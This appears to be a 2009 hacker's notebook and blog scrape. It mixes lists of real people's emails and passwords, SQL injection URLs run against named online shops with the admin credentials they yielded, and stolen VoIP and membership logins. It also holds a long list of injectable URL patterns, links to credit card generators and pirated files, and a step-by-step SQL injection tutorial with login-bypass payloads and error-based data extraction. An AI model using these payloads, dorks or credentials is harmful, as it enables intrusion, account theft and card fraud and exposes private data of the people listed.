elephant :daviddouek@bluewin.ch not good
01201300:riz1@bezeqint.net israel
stinger77 :rinit@itx4.ch
wingman2 :fernan_wings_1984@yahoo.com
tomahawk :cavacojoao@netcabo.pt
15987412 :show979979@hotmail.com
virginie1:sylvain.bonnard522@orange.fr
19081988 :flo.schaffner@web.de very
23505560:chan_mak18@hotmail.com
10071956 :jmpatinyo@gmail.com
asadabad :amirpesarebarca@hotmail.com
=================
http://www.paypal.com/us/cgi-bin/webscr?cmd=_login-processing&login_cmd=_login-done

495427839858
-----------
http://www.asiatrademe.com/classifieds/store_info.php?id=8716+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--

http://www.asiatrademe.com/classifieds/store_info.php?id=8716+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,concat(admin_name,0x3e,pwd),18,19,20,21,22,23+FROM+sbclassified_admin--
tama57
t198917

---------------
http://elkcountyclassifieds.com/admin
admin
testadmin
=============
http://www.cancun-classified-ads.com/store_info.php?id=57
ricardo
rjBcnCL
===========
http://www.gtr-gifts.com/Shop.php?cat=6

wayne 69anx2rgtr

wayne > 69anx2rgtr
wayne_stanez@imanez.com
martin

=========
ViewItem.php?item=
ViewCategory.php?cat=
Shop/home.php?cat=
/shop/cat.php?c=
http://www.1stoptshirtshop.co.uk/ViewItem.php?item=216
http://www.1stoptshirtshop.co.uk/ViewItem.php?item=216+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--

\\\\\\\\\\\\\\\\

http://rapidshare.com/files/179865857/PremanInternet-www.samuku.com.rar

http://www.xmicro.com/store/viewdetails.php?pid=6
69indian69
sale@xmicro.com

http://www.megaupload.com/?d=WIH9A6GO

url dumper
\\\\\\\\\\\\
http://www.iq-ty.com/vb/archive/index.php/f-29.html
hacker tool

http://www.buybargaindeals.com/viewdetails.php?pid=9635

XMmicro Links boss9
\\\\\\\\\\
inurl:"track.php?id="

----------
http://www.kisantech.com/index.php?cat_id=2+and+1=0+union+select+user,2,3,4,5,6,7,8,9,10+from+store_config--
shrikant
kisan250

==========
http://www.weissenborn.es/cubecart/index.php?cat_id=3
cubecart/index.php?cat_id=

load_file('/etc/passwd')

\\\\\\\\\
http://www.clay-brom.com/cubecart/index.php?cat_id=2+and+1=0+union+select+@@version,2,3,4,5,6,7,8--

http://www.clay-brom.com/cubecart/admin/login.php
eweissen
cdgt4kgy

http://www.weissenborn.es/cubecart/index.php?cat_id=3+and+1=0+union+select+pass,2,3,4,5,6,7,8+from+cubecartstore_config--

http://www.absolutemusic.co.uk/shop/index.php?cat_id=457+and+1=0+union+select+@@version,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--

http://www.fontwerks.com/Store/index.php?cat_id=11+and+1=0+union+select+@@version,2,3,4,5,6,7,8--

\===
http://www.enandenvej.dk/category.php?id_category=11+and+1=0+union+select+email,2,3,4+from+cprc2Accounts--
martin@wolsing.dk
qazzaq

http://www.enandenvej.dk/admin
-------------

https://login.dcalling.de
doenfikar@yahoo.com hantu7

nofear15 :ctaminian@hotmail.com

muhajirin1 hantu7 skype in
rebtel.com jawapaleh@aol.com
+1 520 414 4425 1986
http://www.mywebcalls.com doenfikar@yahoo.com 24 hr

masaukeu@yahoo.com
+6281323009374 efendi
========
1. Simply dial the access number 0870 494 52522.
2. When connected, at the dial tone, dial the international number you want to call
3 E.g. for a call to Delhi India, you dial: 0870 494 5252 wait for dial tone and then dial 0091 11 2731 XXXX … it’s that easy!
free call from ukee
==============
http://www.icq.com/icq123/phone2phonecall.html
=======================
https://talkmember.mediaringtalk.com
rimungbukamd
SIP/IAX USERNAME : 4824179802 SIP/IAX PROXY : sip.dcalling.de
SIP/IAX PASSWORD : 5015194403 AUDIO CODECS : G711 aLaw, G711 uLaw, GSM

http://unblockvpn.com
https://www.ciscolive2009.com/portal/startNewRegistration.ww

http://www.xcardmart.com/webcall/
Login page: http://www.MembersLog.com

Your Username: tv953

Your Password: pctv528
http://www.atdhe.net/watchtv.html
http://www.sattube.com/links/link7/

http://www.makingmoneyonlineaffiliate.com/affiliate/join.php
=================
http://rapidshare.com/files/231822888/Mohamed.Henedi.01.Bekhet.We.Adela.MaZiKa2daY.CoM.part1.rar

http://rapidshare.com/files/231822763/Mohamed.Henedi.01.Bekhet.We.Adela.MaZiKa2daY.CoM.part2.rar

http://rapidshare.com/files/231823123/Mohamed.Henedi.01.Bekhet.We.Adela.MaZiKa2daY.CoM.part3.rar

http://h-link.us/48745868

RapidShare
http://h-link.us/40530423

http://h-link.us/17657164

http://h-link.us/73983891

=======

italibangai@yahoo.com 12345678

-----------
**** IMPORTANT **** Please create a new folder called "ab" in the root of your "C" drive and unzip (extract) all the files there. The path would look like c:\ab
rimungbuloeh
hantu7
http://www.adsensebig.com
http://www.adsensebig.com/download7862.html
http://www.adsensebig.com/affiliate/
http://www.adsensebig.com/download7861.html
http://www.emusketeer.com/BigAdsenseSite159.zip
http://www.adsensebig.com/trafficvideos/TrafficVideoSeries1.zip
==========
Account nickname: doen100
Account password: 641TNRZG
http://www.clickbank.com
============
IZZLING SUPER AFFILIATE BONUS:

Every week I'm giving away $100 to the FIRST affiliate to make 10 sales and email me with their Clickbank ID. All you do is be the first to make 10 sales in 7 days and email me at: bonus@adsensebig.com I will then varify and pay $100 to your Paypal account! Remember to register by emailing me first as well

--------------
http://www.vistaspeedsecrets.co.uk/Books/Ebook_collection_1.rar
http://www.vistaspeedsecrets.co.uk/Books/Ebook_collection_2.rar

----------

http://ae06a6zz-w6vfnagapwj1kdw05.hop.clickbank.net/
----
http://1f7e27p3xogu9yb2c64g49bnom.hop.clickbank.net/
http://9efe152cuz8m8z9pqf-0kf3z1k.hop.clickbank.net/
http://99e5e4z4-r9waubrx53isku1l1.hop.clickbank.net/
-------
Login page: http://membersareatv.com

Your username: st45pc

Your password: 38tv58
-----------------
http://www.outspark.com/card
http://www.outspark.com/forums/showthread.php?t=55857
===============================
http://www.exitsplashsite.com/tools/
username: exitsplash
password: tools09

Username: fusion
Password: secret09
----------
http://081af-s4oz8z3l856j2nr9-dzn.hop.clickbank.net/
http://2ced83tcov6y6oc0t-wira0rch.hop.clickbank.net/
http://2664c8r5rt1wcw98hby4t7v60h.hop.clickbank.net/
http://d6c4a226006r7r2lrwffi7bbdk.hop.clickbank.net/
http://4931291-2-8t1p2lkev9103yfh.hop.clickbank.net/
http://2b1974t32z5t0tfqgx-9664c9z.hop.clickbank.net/
http://670d76v7po5y4z4cvzcu7w2x3i.hop.clickbank.net/=====
[12322] harrier23: mike_burley@hotmail.co.uk:--uk -un
[12331] rossoblu: licciardig@virgilio.it:--it -un
[12347] ballpointpen9: bulletthroughmyhead@hotmail.com:--uk -un mantaphttp://payloadz.com
[12378] silver28: sale_28@hotmail.com:--hr -un
---------------------------------------------------
[12379] kurosaki: greattimmy@hotmail.it:--it -un
[12434] 19081985: marcingrzelka@gmail.com:--uk -un
[12461] bluedragon: steven.mahood@gmail.com:--uk -un
[12464] 38402816: mushu@swing.be: --be -un

asadabad :amirpesarebarca@hotmail.com
18061984:jonas.gary@free.fr
16101993:izankolokon_14@hotmail.com
override:overriderene@web.de:
massybecky : hantu123

rajneesh:raghuveer777@yahoo.co.in
http://rs213.rapidshare.com/files/67399644/Teamspeak.Toolz.MbK-Hacking.com_vol.1.part2.rar

http://www.duniakomik.com/Comics/Mksy0xPkvvOv80YNj9STM0YNOLj9SPF/Glass%20Mask/02/20.jpg

----------
http://www.duniakomik.com/admin/login.asp
http://www.duniakomik.com/comicdetails.asp?EpisodeID=%27

Moonlight Resonance

Kung Fu Mahjong

http://rapidshare.com/files/57849116/remote.exe
best remote desktop tools aio for network eng pass:www.cyberwarez.info

: http://wmail-new.libero.it
~~~~~~~~~dun*$: kata kata jih lah neu terjemah
~~~~~~~~~dun*$: hahaha
gurei alya: maxdangelo1973@libero.it : 06061973

sql vulnerables

".php?bookID="
".php?cart="
".php?cartID="
".php?catalogid="
".php?category_list="
".php?CategoryID="
".php?catID="
".php?cid="
".php?code_no="
".php?code="
".php?designer="
".php?framecode="
".php?id="
".php?idcategory="
".php?idproduct="
".php?intCatalogID="
".php?intProdId="
".php?item_id="
".php?item="
".php?itemID="
".php?maingroup="
".php?misc="
".php?newsid="
".php?order_id="
".php?p="
".php?pid="
".php?ProdID="
".php?product_id="
".php?product="
".php?productid="
".php?showtopic="
".php?Sku="
".php?storeid="
".php?style_id="
".php?StyleID="
".php?userID="
"about.php?cartID="
"accinfo.php?cartId="
"acclogin.php?cartID="
"add.php?bookid="
"add_cart.php?num="
"addcart.php?"
"addItem.php"
"add-to-cart.php?ID="
"addToCart.php?idProduct="
"addtomylist.php?ProdId="
"adminEditProductFields.php?intProdID="
"advSearch_h.php?idCategory="
"affiliate.php?ID="
"affiliate-agreement.cfm?storeid="
"affiliates.php?id="
"ancillary.php?ID="
"archive.php?id="
"article.php?id="
"aspx?PageID"
"basket.php?id="
"Book.php?bookID="
"book_list.php?bookid="
"book_view.php?bookid="
"BookDetails.php?ID="
"browse.php?catid="
"browse_item_details.php"
"Browse_Item_Details.php?Store_Id="
"buy.php?"
"buy.php?bookid="
"bycategory.php?id="
"cardinfo.php?card="
"cart.php?action="
"cart.php?cart_id="
"cart.php?id="
"cart_additem.php?id="
"cart_validate.php?id="
"cartadd.php?id="
"cat.php?iCat="
"catalog.php"
"catalog.php?CatalogID="
"catalog_item.php?ID="
"catalog_main.php?catid="
"category.php"
"category.php?catid="
"category_list.php?id="
"categorydisplay.php?catid="
"checkout.php?cartid="
"checkout.php?UserID="
"checkout_confirmed.php?order_id="
"checkout1.php?cartid="
"comersus_listCategoriesAndProducts.php?idCategory="
"comersus_optEmailToFriendForm.php?idProduct="
"comersus_optReviewReadExec.php?idProduct="
"comersus_viewItem.php?idProduct="
"comments_form.php?ID="
"contact.php?cartId="
"content.php?id="
"customerService.php?TextID1="
"default.php?catID="
"description.php?bookid="
"details.php?BookID="
"details.php?Press_Release_ID="
"details.php?Product_ID="
"details.php?Service_ID="
"display_item.php?id="
"displayproducts.php"
"downloadTrial.php?intProdID="
"emailproduct.php?itemid="
"emailToFriend.php?idProduct="
"events.php?ID="
"faq.php?cartID="
"faq_list.php?id="
"faqs.php?id="
"feedback.php?title="
"freedownload.php?bookid="
"fullDisplay.php?item="
"getbook.php?bookid="
"GetItems.php?itemid="
"giftDetail.php?id="
"help.php?CartId="
"home.php?id="
"index.php?cart="
"index.php?cartID="
"index.php?ID="
"info.php?ID="
"item.php?eid="
"item.php?item_id="
"item.php?itemid="
"item.php?model="
"item.php?prodtype="
"item.php?shopcd="
"item_details.php?catid="
"item_list.php?maingroup"
"item_show.php?code_no="
"itemDesc.php?CartId="
"itemdetail.php?item="
"itemdetails.php?catalogid="
"learnmore.php?cartID="
"links.php?catid="
"list.php?bookid="
"List.php?CatID="
"listcategoriesandproducts.php?idCategory="
"modline.php?id="
"myaccount.php?catid="
"news.php?id="
"order.php?BookID="
"order.php?id="
"order.php?item_ID="
"OrderForm.php?Cart="
"page.php?PartID="
"payment.php?CartID="
"pdetail.php?item_id="
"powersearch.php?CartId="
"price.php"
"privacy.php?cartID="
"prodbycat.php?intCatalogID="
"prodetails.php?prodid="
"prodlist.php?catid="
"product.php?bookID="
"product.php?intProdID="
"product_info.php?item_id="
"productDetails.php?idProduct="
"productDisplay.php"
"productinfo.php?item="
"productlist.php?ViewType=Category&CategoryID="
"productpage.php"
"products.php?ID="
"products.php?keyword="
"products_category.php?CategoryID="
"products_detail.php?CategoryID="
"productsByCategory.php?intCatalogID="
"prodView.php?idProduct="
"promo.php?id="
"promotion.php?catid="
"pview.php?Item="
"resellers.php?idCategory="
"results.php?cat="
"savecart.php?CartId="
"search.php?CartID="
"searchcat.php?search_id="
"Select_Item.php?id="
"Services.php?ID="
"shippinginfo.php?CartId="
"shop.php?a="
"shop.php?action="
"shop.php?bookid="
"shop.php?cartID="
"shop_details.php?prodid="
"shopaddtocart.php"
"shopaddtocart.php?catalogid="
"shopbasket.php?bookid="
"shopbycategory.php?catid="
"shopcart.php?title="
"shopcreatorder.php"
"shopcurrency.php?cid="
"shopdc.php?bookid="
"shopdisplaycategories.php"
"shopdisplayproduct.php?catalogid="
"shopdisplayproducts.php"
"shopexd.php"
"shopexd.php?catalogid="
"shopping_basket.php?cartID="
"shopprojectlogin.php"
"shopquery.php?catalogid="
"shopremoveitem.php?cartid="
"shopreviewadd.php?id="
"shopreviewlist.php?id="
"ShopSearch.php?CategoryID="
"shoptellafriend.php?id="
"shopthanks.php"
"shopwelcome.php?title="
"show_item.php?id="
"show_item_details.php?item_id="
"showbook.php?bookid="
"showStore.php?catID="
"shprodde.php?SKU="
"specials.php?id="
"store.php?id="
"store_bycat.php?id="
"store_listing.php?id="
"Store_ViewProducts.php?Cat="
"store-details.php?id="
"storefront.php?id="
"storefronts.php?title="
"storeitem.php?item="
"StoreRedirect.php?ID="
"subcategories.php?id="
"tek9.php?"
"template.php?Action=Item&pid="
"topic.php?ID="
"tuangou.php?bookid="
"type.php?iType="
"updatebasket.php?bookid="
"updates.php?ID="
"view.php?cid="
"view_cart.php?title="
"view_detail.php?ID="
"viewcart.php?CartId="
"viewCart.php?userID="
"viewCat_h.php?idCategory="
"viewevent.php?EventID="
"viewitem.php?recor="
"viewPrd.php?idcategory="
"ViewProduct.php?misc="
"voteList.php?item_ID="
"whatsnew.php?idCategory="
"WsAncillary.php?ID="
"WsPages.php?ID="

Tuesday, June 16, 2009

credit card hacking related

http://rapidshare.com/files/24247251/RapidShare_Credit_Card_Generator.rar
credit card generator

http://rapidshare.com/files/181626903/CC_generator_2009.rar
credit card generator

http://rapidshare.com/files/138662126/CCT.rar
credit card tools

http://rapidshare.com/files/137806038/CCTandIP-v2_downarchive.rar
credit card tools

http://rapidshare.com/files/33150029/CC_Genetator.rar
credit card generator 2007

http://rapidshare.com/files/7455028/percy.rar
credit card manager box pass:ufc4.com/b/

http://rapidshare.com/files/96383379/SK_s_USDownloader__v02.03.08_.exe
credit card generator

http://rapidshare.com/files/120528124/Generate_any_credit_card_no.rar
credit card generater number software

http://rapidshare.com/files/10561726/CCK.1.4.rar
credit card knight

http://rapidshare.com/files/123755773/NEW_VISA_MASTERCARD_Credit_Card_Generator2008-2009_By_cyberserg.com.rar

http://rapidshare.com/files/123756478/VISA_MASTERCARD_Credit_Card_Generator2008-2009_By_hippies.com.rar
visa mastercard credit card generator

http://rapidshare.com/files/54982777/credit_card_fraud_white_paper.pdf
fraud prevention techniques for credit card

http://rapidshare.com/files/192233277/CreditCardBanditV2.rar.html
credit card generator works 100pro

http://rapidshare.com/files/24660263/RGSolution.rar
php rapidget pro computer tips tricks rapidshare hack avone video converter credit card generator

http://rapidshare.com/files/160439367/RBI.CREDIT_CARD.DATA__2007_08_.TXT
rbi credit card data 2007 08 txt

http://rapidshare.com/files/182267348/Visa-cc_Generator_09.rar
visa credit card generator

EuroTalk - Learn French

EuroTalk - Learn French | 2.31Gb

Download from Hotfile - All Country
http://hotfile.com/dl/6479267/33f8a12/Eurotalk-French.part01.rar.html
http://hotfile.com/dl/6479296/79ffb34/Eurotalk-French.part02.rar.html
http://hotfile.com/dl/6479413/c0735f7/Eurotalk-French.part03.rar.html
http://hotfile.com/dl/6479416/9256d83/Eurotalk-French.part04.rar.html
http://hotfile.com/dl/6479500/bea42a4/Eurotalk-French.part05.rar.html
http://hotfile.com/dl/6479863/1333714/Eurotalk-French.part06.rar.html
http://hotfile.com/dl/6479884/7f66266/Eurotalk-French.part07.rar.html
http://hotfile.com/dl/6479957/a8fb8c3/Eurotalk-French.part08.rar.html
http://hotfile.com/dl/6479958/c274fc4/Eurotalk-French.part09.rar.html
http://hotfile.com/dl/6479998/b99e680/Eurotalk-French.part10.rar.html
http://hotfile.com/dl/6480325/96838fd/Eurotalk-French.part11.rar.html
http://hotfile.com/dl/6480343/f58cb17/Eurotalk-French.part12.rar.html
http://hotfile.com/dl/6480444/e2e9372/Eurotalk-French.part13.rar.html
http://hotfile.com/dl/6480448/8c7c042/Eurotalk-French.part14.rar.html
http://hotfile.com/dl/6480517/1444eca/Eurotalk-French.part15.rar.html
http://hotfile.com/dl/6480845/0bd4807/Eurotalk-French.part16.rar.html
http://hotfile.com/dl/6480862/d2e1131/Eurotalk-French.part17.rar.html
http://hotfile.com/dl/6480948/ee83369/Eurotalk-French.part18.rar.html
http://hotfile.com/dl/6480952/ec7e936/Eurotalk-French.part19.rar.html
http://hotfile.com/dl/6481001/26d85c2/Eurotalk-French.part20.rar.html
http://hotfile.com/dl/6481289/97c5059/Eurotalk-French.part21.rar.html
http://hotfile.com/dl/6481313/fc78789/Eurotalk-French.part22.rar.html
http://hotfile.com/dl/6481408/79ade9b/Eurotalk-French.part23.rar.html
http://hotfile.com/dl/6481414/71a93e3/Eurotalk-French.part24.rar.html
or
Download from Uploading
http://uploading.com/files/JMDWKTCI/Etalk-Fre.part01.rar.html
http://uploading.com/files/XF6WPO4M/Etalk-Fre.part02.rar.html
http://uploading.com/files/79ZI9691/Etalk-Fre.part03.rar.html
http://uploading.com/files/FWI5U1HL/Etalk-Fre.part04.rar.html
http://uploading.com/files/HPXW5G9T/Etalk-Fre.part05.rar.html
http://uploading.com/files/S0G0CK5V/Etalk-Fre.part06.rar.html
http://uploading.com/files/Q9IHAVFC/Etalk-Fre.part07.rar.html
http://uploading.com/files/CRBW6L7O/Etalk-Fre.part08.rar.html
http://uploading.com/files/5GUN044C/Etalk-Fre.part09.rar.html
http://uploading.com/files/JP8OG61Q/Etalk-Fre.part10.rar.html
http://uploading.com/files/IGVPNN3X/Etalk-Fre.part11.rar.html
http://uploading.com/files/PGXXNCMV/Etalk-Fre.part12.rar.html
http://uploading.com/files/GBDLZ3DI/Etalk-Fre.part13.rar.html
http://uploading.com/files/ZRNWUM77/Etalk-Fre.part14.rar.html
http://uploading.com/files/E8OCJOTN/Etalk-Fre.part15.rar.html
http://uploading.com/files/N7ILYPSD/Etalk-Fre.part16.rar.html
http://uploading.com/files/11QQFXXV/Etalk-Fre.part17.rar.html
http://uploading.com/files/DLTZCLX4/Etalk-Fre.part18.rar.html
http://uploading.com/files/NHQNXOJY/Etalk-Fre.part19.rar.html
http://uploading.com/files/J882WEVD/Etalk-Fre.part20.rar.html
http://uploading.com/files/1BN9VVD6/Etalk-Fre.part21.rar.html
http://uploading.com/files/5NRNNA2M/Etalk-Fre.part22.rar.html
http://uploading.com/files/I11XUR9M/Etalk-Fre.part23.rar.html
http://uploading.com/files/DY7SWRX3/Etalk-Fre.part24.rar.html

Monday, June 15, 2009

This the tutourial section for our guides

Hacking tools here

**********************************
This the tutourial section for our guides
***************************

What is a hacker ?

Learn to hack

Tutourial on using google as a hacking tool

How to download /burn movies to dvd

A guide on harmless hacking

Download a keylogger/key stroke logger

Creating a simple virus in v.b.

Building a trojan as a bat file

Create yourself a botnet

Phishing tutourial

Batch file tutourial

Bypass an windows xp firewall ( c + + )

How to Hack Websites / Servers - Step by Step

Rooting/Arrays

Reverse engineering tutourial

Learn to hack tutourial

How to make a port scanner
in vb

Using FTP`S

Building a basic keylogger
build a keylogger using visual basic

Links to hacking tests
test how you progress with these links

Finding an ip
methods on tracing an ip address

How to change your ip

*************************************************************************************
Hacking tools

Friday, June 12, 2009

Databases have been the heart of a commercial website

Databases have been the heart of a commercial website. An attack on the database servers can cause a great monetary loss for the company
. Database servers are usually hacked to get the credit card information. And just one hack on a commercial site will bring down its reputation and al
so the customers as they also want their credit card info secured. Most of the commercial websites use Microsoft sql (MSsql) and Oracle database serve
rs. MS sql still owns the market because the price is very low. While Oracle servers come with high price. Well some time ago Oracle had claimed itsel
f to be "unbreakable" But hackers took it as a challenge and showed lots of bugs in it also !! I was addicted to hacking of database servers from a fe
w months. So I just decided to share the knowledge with others. Well the things discussed here are not discovered by me ok. Yeah I experimented with t
hem a lot.

user will type his login name and password in login.htm page and click the submit button. The value of the text boxes will be passed to the loginche
ck.asp page where it will be checked using the query string. If it doesn't get an entry satisfying the query and will reach end of file a message of l
ogin failed will be displayed. Every thing seems to be OK. But wait a minute. Think again. Is every thing really OK ?!! What about the query ?!! Is it
OK. Well if you have made a page like this then a hacker can easily login successfully without knowing the password. How ? Lets look at the querry ag
ain.

"Select * from table1 where login='"&log& "' and password='" &pwd& "' "

Now if a user types his login name as "Chintan" and password as "h4x3r" then these values will pass to the asp page with post method and then the abo
ve query will become

"Select * from table1 where login=' Chintan ' and password=' h4x3r ' "

Thats fine. There will be an entry Chintan and h4x3r in login and password fields in the database so we will receive a message as login successful. N
ow what if I type loginname as "Chintan" and password as
hi' or 'a'='a in the password text box ? The query will become as follows:

"Select * from table1 where login=' Chintan ' and password=' hi' or 'a'='a ' "

And submit and bingo!!!!! I will get the message as Login successful !! Did you see the smartness of hacker which was due to carelessness of web desi
gner ? !!
The query gets satisfied as query changes and password needs to 'hi' or 'a' needs to be equal to 'a'. Clearly password is not 'hi' but at the same ti
me 'a'='a' . So condition is satisfied. And a hacker is in with login "Chintan" !! You can try the following in the password text box if the above doe
sn't work for some websites:

hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a

Here above -- will make the rest of the query string to be a comment other conditions will not be checked. Similary you can provide

Chintan ' --
Chintan " --

or such types of other possibilites in the login name textbox and password as anything which might let you in. Because in the query string only login
name is checked as "Chintan" and rest is ignored due to --. Well if you are lucky enough you get such a website were the webdesigner has done the abo
ve mistake and then you will be able to login as any user !!!

IMP NOTE: Hey guys I have put up a page where you can experiment for yourself about the sql injection vulnerablity. Just go to www33.brinkster.co
m/chintantrivedi/login.htm

More advance hacking of Databases using ODBC error messages!!!
--------------------------------------------------------------

Above we saw as to how login successfully without knowing password. Now over here I will show you how to read the whole database just by using querie
s in the URL !! And this works only for IIS i.e asp pages. And we know that IIS covers almost 35% of the web market. So you will definitely get a vict
im just after searching a few websites. You might have seen something like

http://www.nosecurity.com/mypage.asp?id=45

in the URLs. '?' over there shows that after it, 45 value is passed to a hidden datatype id. Well if you don't understand then as we have seen in the
above example in the login.htm, having two input text types with names 'login_name' and 'pass' and there values were passed to logincheck.asp page. T
he same thing can be done by directly opening the logincheck.asp page using
http://www.nosecurity.com/logincheck.asp?login_name=Chintan&pass=h4x3r
in the URL if method="get" is used instead of method="post".

Note : or Difference between get and post method is that post method doesn't show up values passed to next paged in the url while get method show
s up the values. To get more understanding of how they internally work read HTTP protocol RFC 1945 and RFC 2616.

What i mean to say is that after '?' the variables which are going to be used in that page are assigned the values. As above login_name is given valu
e Chintan. And different variables are separated by operator '&'.

OK so coming back, id will mostly be hidden type and according to the links you click its value will change. This value of id is then passed in the q
uery in mypage.asp page and according tothe results you get the desired page at your screen. Now if just change the value of id as 46 then you will ge
t different page.
Now lets start our hacking the database. Lets use the magic of queries. Just type

http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

in the URL. INFORMATION_SCHEMA.TABLES is a system table and it contains information of all the tables of the server. In that there is field TABLE_NAM
E which contains names of all the tables. See the query again
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
The result of this query is the first table name from INFORMATION_SCHEMA.TABLES table. But the result we get is a table name which is a string(nvarch
ar) and we are uniting it with 45(integer) by UNION. So we will get an error message as

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error conve
rting the nvarchar value 'logintable' to a column of data type int. /mypage.asp, line

From the error its clear that first table is 'logintable'. It seems that this table might contain login names and passwords :-) So lets move in i
t. Type the following in the URL

http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable'--

output
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar
value 'login_id' to a column of data type int.
/index.asp, line 5

The above error message shows that the first field or column in logintable is login_id. To get the next column name will type

http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COL
UMN_NAME NOT IN ('login_id')--

Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar
value 'login_name' to a column of data type int.
/index.asp, line 5

So we get one more field name as 'login_name'. To get the third field name we will write

http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COL
UMN_NAME NOT IN ('login_id','login_name')--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar
value 'passwd' to a column of data type int.
/index.asp, line 5

Thats it. We ultimately get the 'passwd' field. Now lets get the login names and
passwords from this table "logintable". Type

http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 login_name FROM logintable--

Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar
value 'Rahul' to a column of data type int.
/index.asp, line 5

Thats the login name "Rahul" and to get the password of Rahul the query would be

http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 password FROM logintable
where login_name='Rahul'--

Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar
value 'P455w0rd' to a column of data type int.
/index.asp, line 5

Voila!! login name: Rahul and password: P455w0rd. You have cracked the database of
www.nosecurity.com And's it was possible to the request of user was not checked properly. SQL
vulnerabilities still exist on many websites. The best solution is to parse the user requests and
filter out some characters as ',",--,:,etc.

Part II - using port 1434 (SQL Port)
-------------------------------------

Well uptill now we had seen how to break the database using the malformed URLs But that was done using just port 80 (http port) But this time we woul
d use the port 1434 for hacking. Before that we will see what actually database servers are and how do they work and then how to exploit them !

The designers of MS sql gave some default stored procedures along with the product to make things flexible to the webdesigners. The procedure is noth
ing but functions which can used to perform some actions on the arguments passed to them. This procedures are very important to hackers. Some of the i
mportant ones are

sp_passsword -> Changes password for a specific login name.
e.g. EXEC sp_password 'oldpass', 'newpass', 'username'

sp_tables -> Shows all the tables in the current database.
e.g. EXEC sp_tables

xp_cmdshell -> Runs arbitary command on the machine with administrator privileges. (most imp)

xp_msver -> Shows the MS SQL server version including the all info about the OS.
e.g. master..xp_msver

SQL injections

SQL Injection

SQL injection is probably the most common vector used to attack SQL Server. This is because web applications are typically deployed as Internet-facing and, if written in-house, their code will probably not have been subject to the same stringent security auditing as commercial software. SQL Server is also particularly vulnerable to this type of attack because of its verbose error messages. SQL Server's error messages can be viewed in the sysmessages table in the master database.

SQL injection occurs when information submitted by a browser to a web application is inserted into a database query without being properly checked.
An example of this is an HTML form that receives posted data from the user and passes it to an Active Server Pages (ASP) script running on Microsoft's IIS web server. The two data items passed are a username and password, and they are checked by querying a SQL Server database. The schema of the users table in the backend database is as follows:

username varchar(255)
password varchar(255)

The query executed is

SELECT * FROM users WHERE username = '[username]' AND password =
'[password]';

However, the ASP script builds the query from user data using the following line:

var query = "SELECT * FROM users WHERE username = '" + username +"' AND
password = '" + password + "'";

If the username is a single-quote character (') the effective query becomes

SELECT * FROM users WHERE username = ''' AND password = '[password]';

This is invalid SQL syntax and produces a SQL Server error message in the user's browser:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark
before the character string '' and password=''.
/login.asp, line 16

The quotation mark provided by the user has closed the first one, and the second generates an error, because it is unclosed. The attacker can now begin to inject strings into the query in order to customize its behavior; for example, in order to logon as the first user
in the users table you would post a username of

' or 1=1—

This converts to a query of

SELECT * FROM users WHERE username = '' or 1=1 — -' AND password =
'[password]';

The double hyphens (--) signify a Transact-SQL comment, so all subsequent text is ignored. Because one will always equal one, this query will return the entire users table, the ASP script will accept the logon because results were returned, and the client will be authenticated as the first user in the table.

If a specific username is known the account can be accessed with the username:

' or username='knownuser' —

Even if a real username is not known, an invented one can be used with the username:

' union select 1, 'myusername', 'mypassword', 1 —

An example of verbose SQL Server error messages can be seen by using a username of

' and 1 in (SELECT @@version) —

which results in the following:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'Microsoft SQL Server 2000 - 8.00.534 (Intel X86) Nov
19 2001 13:23:50 Copyright (c) 1988-2000 Microsoft Corporation Enter
prise Edition on Windows NT 5.0 (Build 2195: Service Pack 3) ' to a col
umn of data type int.
/login.asp, line 16

By referencing the online SQL Server version database at SQL Security (http://sqlsecurity.com/DesktopDefault.aspx?tabid=37), version 8.00.534 corresponds to SQL Server 2000 service pack 2 without any hotfixes. This version is vulnerable to several overflow attacks in stored procedures and functions such as xp_sprintf, formatmessage(), and raiserror() (http://icat.nist.gov/icat.cfm?cvename=CAN-20020154).

The next step is to retrieve information about the structure of the database and its tables in order to manipulate the data. If, for convenience, an attacker wants to create an account on the system, he would need to know details about the database schema. The SQL clause HAVING is used to filter records returned by GROUP BY. They must be used together so the following username produces an informative error:

' having 1=1--

This gives the table name as "users" and the first column used in the query as "username":

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username'
is invalid in the select list because it is not contained in an
